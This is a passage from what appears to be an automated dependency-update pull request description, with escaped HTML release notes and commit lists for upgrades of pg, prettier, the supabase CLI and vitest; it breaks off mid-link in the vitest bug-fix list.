href=\"https://github.com/DefinitelyTyped/DefinitelyTyped/commits/HEAD/types/node\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `pg` from 8.23.0 to 8.23.1\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/brianc/node-postgres/blob/master/CHANGELOG.md\"\u003epg's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eAll major and minor releases are briefly explained below.\u003c/p\u003e\n\u003cp\u003eFor richer information consult the commit log on github with referenced pull requests.\u003c/p\u003e\n\u003cp\u003eWe do not include break-fix version release in this file.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/brianc/node-postgres/commit/0980cefebe0ae461da8883703be049fe13ca96cf\"\u003e\u003ccode\u003e0980cef\u003c/code\u003e\u003c/a\u003e Publish\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/brianc/node-postgres/commit/2759b2ccf70535d425688dca8a6aec79de49c1ea\"\u003e\u003ccode\u003e2759b2c\u003c/code\u003e\u003c/a\u003e fix(pg): run a named statement with an empty text more than once (\u003ca href=\"https://github.com/brianc/node-postgres/tree/HEAD/packages/pg/issues/3781\"\u003e#3781\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/brianc/node-postgres/commit/7feb7dfd70a9f7e5718ab186c80d2658067ce4af\"\u003e\u003ccode\u003e7feb7df\u003c/code\u003e\u003c/a\u003e fix(pg): expose detail and hint on errors from the native client (\u003ca href=\"https://github.com/brianc/node-postgres/tree/HEAD/packages/pg/issues/3780\"\u003e#3780\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/brianc/node-postgres/commit/9683053c1eac7f4a1f8910df0d7abdb5f0cb25a7\"\u003e\u003ccode\u003e9683053\u003c/code\u003e\u003c/a\u003e fix(pg): do not treat Sync as connection ending (\u003ca href=\"https://github.com/brianc/node-postgres/tree/HEAD/packages/pg/issues/3772\"\u003e#3772\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/brianc/node-postgres/commit/458903894f3514465b74d623f6b92f713b6b952f\"\u003e\u003ccode\u003e4589038\u003c/code\u003e\u003c/a\u003e fix: validate server certificate against host when connecting to an IP addres...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/brianc/node-postgres/commit/9808955838dd84835c4ca904228c9c2eaeda047e\"\u003e\u003ccode\u003e9808955\u003c/code\u003e\u003c/a\u003e cleanup: Fix typo in comment\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/brianc/node-postgres/commit/2b02f645687b8536f209aecc24f1b4bdb4c32d16\"\u003e\u003ccode\u003e2b02f64\u003c/code\u003e\u003c/a\u003e fix: avoid mutating query config (\u003ca href=\"https://github.com/brianc/node-postgres/tree/HEAD/packages/pg/issues/3720\"\u003e#3720\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/brianc/node-postgres/commit/0cef6afdf781e4cbe7eb5ac943df3c14b49c33de\"\u003e\u003ccode\u003e0cef6af\u003c/code\u003e\u003c/a\u003e Reject portal based queries in pipeline mode instead of misrouting rows (\u003ca href=\"https://github.com/brianc/node-postgres/tree/HEAD/packages/pg/issues/3737\"\u003e#3737\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/brianc/node-postgres/commit/299148045f921060b5df91343ab4710d46674b08\"\u003e\u003ccode\u003e2991480\u003c/code\u003e\u003c/a\u003e Deprecate serializing invalid \u003ccode\u003eDate\u003c/code\u003es (\u003ca href=\"https://github.com/brianc/node-postgres/tree/HEAD/packages/pg/issues/3731\"\u003e#3731\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/brianc/node-postgres/commit/c940d7c206c8545cb195df2ecde230d9ca0279c8\"\u003e\u003ccode\u003ec940d7c\u003c/code\u003e\u003c/a\u003e Fail pipelined queries when the connection dies instead of hanging (\u003ca href=\"https://github.com/brianc/node-postgres/tree/HEAD/packages/pg/issues/3736\"\u003e#3736\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/brianc/node-postgres/commits/pg@8.23.1/packages/pg\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `prettier` from 3.9.9 to 3.9.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/releases\"\u003eprettier's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.9.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Update \u003ccode\u003emicromark-extension-gfm-table\u003c/code\u003e to fix the table parse issue on performance (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20266\"\u003e#20266\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.10/CHANGELOG.md#3910\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/blob/main/CHANGELOG.md\"\u003eprettier's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.9.10\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.9.9...3.9.10\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Update \u003ccode\u003emicromark-extension-gfm-table\u003c/code\u003e to fix the table parse issue on performance (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20266\"\u003e#20266\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/micromark/micromark-extension-gfm-table/commit/4f43ead37b786bc531d924530d4ab4c714886267\"\u003ehttps://github.com/micromark/micromark-extension-gfm-table/commit/4f43ead37b786bc531d924530d4ab4c714886267\u003c/a\u003e for details.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/1172b82c295c4f889fd787dc6c78c3e194ebf353\"\u003e\u003ccode\u003e1172b82\u003c/code\u003e\u003c/a\u003e Release 3.9.10\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/d0142273aff2c76f8a69785d42ee2cedc4b0aaa3\"\u003e\u003ccode\u003ed014227\u003c/code\u003e\u003c/a\u003e Update \u003ccode\u003emicromark-extension-gfm-table\u003c/code\u003e to fix the table parse issue on perfor...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/953b9084329dcd06ed1072a04b333f1e6e9371e8\"\u003e\u003ccode\u003e953b908\u003c/code\u003e\u003c/a\u003e Bump Prettier dependency to 3.9.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/ad8a6bf4fa23c42fd114683fec43b28a11bd24af\"\u003e\u003ccode\u003ead8a6bf\u003c/code\u003e\u003c/a\u003e Clean changelog_unreleased\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/prettier/prettier/compare/3.9.9...3.9.10\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `supabase` from 2.118.0 to 2.121.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/supabase/cli/releases\"\u003esupabase's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.121.0\u003c/h2\u003e\n\u003ch2\u003eSupabase CLI v2.121.0 — 2026-10-14\u003c/h2\u003e\n\u003cp\u003eThis release is mostly stack reliability fixes, plus new \u003ccode\u003estack\u003c/code\u003e options and deprecation warnings you'll want to see before the next major version. Most entries below are from PR titles, not full PR review.\u003c/p\u003e\n\u003ch3\u003eHighlights\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eOrioleDB through \u003ccode\u003edb.orioledb_version\u003c/code\u003e\u003c/strong\u003e — set the OrioleDB version in config instead of relying on a separate setup path. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6934\"\u003e#6934\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRepeatable \u003ccode\u003e--stack-id\u003c/code\u003e in \u003ccode\u003estack destroy\u003c/code\u003e\u003c/strong\u003e — tear down several stacks in one command. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6964\"\u003e#6964\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7000\"\u003e#7000\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGateway requests show up in Studio\u003c/strong\u003e — API Gateway logs in Studio now include requests that pass through the local stack gateway. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6942\"\u003e#6942\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNew features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003estack destroy --stack-id\u003c/code\u003e accepts multiple IDs\u003c/strong\u003e — e.g. \u003ccode\u003esupabase stack destroy --stack-id a --stack-id b\u003c/code\u003e. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6964\"\u003e#6964\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7000\"\u003e#7000\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLeftover containers from deleted stacks get cleaned up\u003c/strong\u003e — stale containers are removed automatically instead of piling up. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7017\"\u003e#7017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eChanged endpoint ports apply on restart\u003c/strong\u003e — if you change endpoint ports while a stack is stopped, the new ports are used the next time it starts. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6950\"\u003e#6950\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDeprecation warnings for \u003ccode\u003edb pull\u003c/code\u003e and \u003ccode\u003edomains\u003c/code\u003e flags\u003c/strong\u003e — you now see a warning at runtime when you use a deprecated flag. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7115\"\u003e#7115\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003efunctions serve\u003c/code\u003e defaults to stream-json for agents\u003c/strong\u003e — when running non-interactively, output is streamed as JSON so agent tooling can parse it. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7027\"\u003e#7027\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHeads-up: deprecated config, env vars and import maps will be removed in the next major version\u003c/strong\u003e — the CLI now warns when you use them. Migrate before upgrading to that major. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7154\"\u003e#7154\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eClearer \u003ccode\u003edb remote commit\u003c/code\u003e and \u003ccode\u003einspect db\u003c/code\u003e deprecation messages\u003c/strong\u003e — the warnings now say the features are removed in the next major version. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7108\"\u003e#7108\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMore specific failure telemetry\u003c/strong\u003e — stack and platform failures are classified and named more precisely, which makes issues easier to triage. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7044\"\u003e#7044\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7113\"\u003e#7113\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7137\"\u003e#7137\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7067\"\u003e#7067\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003esupabase start\u003c/code\u003e works with Podman when no snippets are present.\u003c/strong\u003e (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7089\"\u003e#7089\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eStack creates the \u003ccode\u003esupabase_functions\u003c/code\u003e database on the stack backend.\u003c/strong\u003e (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7029\"\u003e#7029\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003efunctions serve\u003c/code\u003e overrides apply after the stack has started.\u003c/strong\u003e (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7028\"\u003e#7028\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNative Postgres trusts your host CA bundle\u003c/strong\u003e, so connections through corporate or custom certificates work. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7023\"\u003e#7023\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAuth database and stack host connections stay alive\u003c/strong\u003e instead of dropping mid-session. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7080\"\u003e#7080\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGateway writes no longer fail under load\u003c/strong\u003e, because they reuse keep-alive connections. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7075\"\u003e#7075\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6981\"\u003e#6981\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eContainers whose host port was taken before start are recreated\u003c/strong\u003e rather than failing to start. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7081\"\u003e#7081\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDatabase helpers are removed when their owner exits\u003c/strong\u003e, so they stop leaking between runs. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7014\"\u003e#7014\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6962\"\u003e#6962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRunning dependents restart when a prerequisite crashes\u003c/strong\u003e, so the stack recovers without a manual restart. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7093\"\u003e#7093\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003epg_cron\u003c/code\u003e jobs run in background workers\u003c/strong\u003e on native Postgres. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7039\"\u003e#7039\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDatabase helpers are created by name before they're attached to.\u003c/strong\u003e (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7068\"\u003e#7068\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003esupabase stop\u003c/code\u003e waits for a concurrent Docker prune\u003c/strong\u003e instead of failing. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7143\"\u003e#7143\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7129\"\u003e#7129\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eConfig accepts the new Management API Postgres settings\u003c/strong\u003e, so they no longer get rejected. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7056\"\u003e#7056\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7054\"\u003e#7054\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6934\"\u003e#6934\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003ePlus 1 internal improvement and dependency update.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eFull changelog:\u003c/strong\u003e \u003ca href=\"https://github.com/supabase/cli/compare/v2.120.0...v2.121.0\"\u003ehttps://github.com/supabase/cli/compare/v2.120.0...v2.121.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev2.121.0-next.2\u003c/h2\u003e\n\u003cp\u003eNo release notes provided.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/8a549dffa6bc5c88069c61c1f55ef55ad9b82ae2\"\u003e\u003ccode\u003e8a549df\u003c/code\u003e\u003c/a\u003e fix(cli): warn that deprecated config, env vars and import maps are removed i...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/d47510fbd9cf0537020256dee5090a8247e6793b\"\u003e\u003ccode\u003ed47510f\u003c/code\u003e\u003c/a\u003e ci: speed up tests with sticky disks, parallel e2e and on-demand Windows and ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/d68f6d098f8e65a6f2909087fa443bae284eb405\"\u003e\u003ccode\u003ed68f6d0\u003c/code\u003e\u003c/a\u003e fix(cli): wait for a concurrent Docker prune in stop (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7143\"\u003e#7143\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/ddb5c6e76dbf24457a10337edbd511a76d78a3e8\"\u003e\u003ccode\u003eddb5c6e\u003c/code\u003e\u003c/a\u003e chore(stack): bump storage to v1.82.1-r0 (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7153\"\u003e#7153\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/2930f6d069ef8cb71f4eeecb495fb18f44a8a765\"\u003e\u003ccode\u003e2930f6d\u003c/code\u003e\u003c/a\u003e docs(cli): port pg-delta reference fixes into db diff and db pull overlays (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/45376daef5a9101a25e425f54054b89d6bdf3a5a\"\u003e\u003ccode\u003e45376da\u003c/code\u003e\u003c/a\u003e fix(cli): name the failing platform operation in defect telemetry (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7137\"\u003e#7137\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/cb2985f8de8e385378566b09c8d78ebbdef7b64c\"\u003e\u003ccode\u003ecb2985f\u003c/code\u003e\u003c/a\u003e chore(cli): map db dump, pull, diff and declarative command permissions (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7136\"\u003e#7136\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/28dad9c763b2ea3f61439acc0f09b0fa5131a7c1\"\u003e\u003ccode\u003e28dad9c\u003c/code\u003e\u003c/a\u003e chore(stack): bump storage to v1.82.0-r0 (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7140\"\u003e#7140\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/87e47b5effbd1b6743aa6349fcf5f3992eb02125\"\u003e\u003ccode\u003e87e47b5\u003c/code\u003e\u003c/a\u003e chore(cli): map db lint, push, reset and related command permissions (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7135\"\u003e#7135\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/9af6852163a091448c49580570a2c424f250b550\"\u003e\u003ccode\u003e9af6852\u003c/code\u003e\u003c/a\u003e chore(cli): bring the remaining commands under the effect skill (CLI-2693) (#...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/supabase/cli/commits/v2.121.0/apps/cli\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 5.0.2 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca 